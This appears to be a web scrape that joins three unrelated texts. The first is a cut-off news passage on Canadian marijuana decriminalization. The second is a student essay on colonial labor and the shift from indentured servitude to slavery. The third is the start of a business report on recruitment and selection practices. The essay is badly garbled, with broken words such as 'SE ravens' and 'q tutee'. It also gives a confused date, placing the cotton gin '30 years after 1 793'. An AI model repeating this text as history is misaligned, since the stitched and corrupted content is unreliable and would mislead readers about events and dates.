stigma - to be barred from studying medicine, law, architecture or other fields where a criminal record could present an obstacle,'' Clark said last week. The government has proposed expanding medicinal use of marijuana, and the Canadian Medical Association Journal recently supported full decriminalization. Canada's Supreme Court will consider a case this year that contends criminal charges for the personal use of marijuana violate constitutional rights. Making possession and use of small amounts of marijuana a civil offense - akin to a traffic fine- instead of a criminal violation would move Canadian policy closer to attitudes in The Netherlands and away from the United States, its neighbor and biggest trade partner. U.S. anti-drug activists are worried that legalization of marijuana in Canada could depress prices in the United States making marijuana more available. Legalization in Canada would also boost the arguments of American advocates for easing U.S. drug laws. Joseph A. Califano Jr., president of the National Center on Addiction and Substance Abuse at Columbia University, and a former U.S.

Transatlantic Change in North American Colonies

Included in these changes were: lab or source, kinds of labor, organization of labor, race and the types of crops/ agriculture needed. These changes ere more significant because they lead to even more changes, development s, improvements, troubles, etc. Which all lead to society today. Over time, the demand for labor remained the same; things needed to be pro educed, which meant labor was needed in order to provide suppliers/ consumers with whatever they wanted/ needed.The source of that needed labor, however, did change. Indentured SE ravens were the source of labor throughout the colonies, but in 161 9, the first group of people were brought from Africa to the Americas to become slaves. To some, slavery was discovered to be much cheaper and more efficient that indentured servitude: mass amount s of Africans could be brought over to America at once, and they could easily be sold and try added anywhere among the colonies where need be.To others though, there wasn't much of a need for slaves. People still favored indentured servants, whom they'd been using for q tutee a while already, because they felt more of a personal servitude with them, so they we area bit reluctant to give them up. Indentured servitude would soon be almost overshadowed b slavery though, because 30 years after 1 793, comes the cotton gin which will raise the importance of plantations, thus increasing slave demand.Even still though, the labor source changed from indentured servitude to slavery, as did a change occur from subsistence farm s to plantations. With this change from farms to plantations, came a change from subsistence crops to marketed crops such as tobacco and, the most famous, cotton; all of this can be seen as a result of the major population growth and expansion of the county, as well a importation/ exportation changes (trading slaves for goods, triangular trade).To restate, concluding, continuity was maintained in aspects such as demand d/need for labor, need for crops/ agric ulture, importation, etc. It was the changes (labor source, which crops/ type of agriculture is used, what is being imported/ exported) that occurred from transatlantic interactions that hold even more significance because they lead t o changes, improvements, developments, etc.

Recruitment and Selection Practices in a Selected Organisation Essay

The purpose of this business report is to assess and evaluate the organisation’s recruitment and selection strategy and make constructive recommendations for the improvement of the organisation’s recruitment and selection process. Both interview questions and a questionnaire were used to research and gather information about the organisation’s strategy for recruitment and selection. In the first instance, the organisation was contacted and a meeting arranged with the HR manager. At this meeting, the HR manager provided me with background information regarding the organisation and completed the questionnaire that had been prepared. After the meeting, the information from the questionnaire was analysed and subsequently a set of interview questions was developed. One week later, upon return to the organisation, a structured interview was conducted with the HR manager, with the goal to collect more in-depth information about the organisation and its processes for recruitment and selection. Several issues were identified that the organisation needs to address in the recruitment and selection process. Recruitment preparation needs to have a clear method of communicating requests for vacant or new positions — such as a requisition form or memo. Employment agencies are a beneficial source to use for employing low skilled workers on a temporary basis, in order to keep the workflow uninterrupted, therefore, maintaining acceptable productivity, and lower staff turnover. Metropolitan daily newspapers are a good way of attracting suitable professional candidates for vacant positions. Advertising internally to fill positions and having a structured interview helps ensure that the right applicant is matched with the right job. Advertising internally also helps increase commitment amongst employees. Finally, by developing an orientation program and implementing it with new employees, the organisation can decrease staff turnover and increase commitment. Journal of Management Practice, 4(1), 166-177 Â © Penny Clark Recruitment & Selection Clarke 1 Purpose of the Report The purpose of the business report is to examine and assess the organisation’s strategy for recruitment and selection. An attempt to establish what level of understand ing the organisation has of the recruitment and selection process is carried out. In addition, the current strategy and processes used to implement recruitment and selection in the organisation is being assessed. Finally, recommendations will be made based on the information gathered, whilst taking into consideration the current economic climate and the availability of suitable resources. 1. 2 Sources of Information The information used to write this business report came from several sources. One such source was a personal communication with the Managing Director. The major source used was the organisation’s HR manager. This consisted of one informal discussion with the HR manager, in addition to a scheduled meeting and a planned interview. Two different types of research tools were used to obtain the information required to prepare this business report. The first was a questionnaire that was developed and subsequently completed by the HR manager. The other research tool used was a set of interview questions that had been compiled. These questions were asked of the HR manager during the planned interview. 1. 3 Scope of the Report The business report covers two main areas of the organisation’s strategy for recruitment and selection.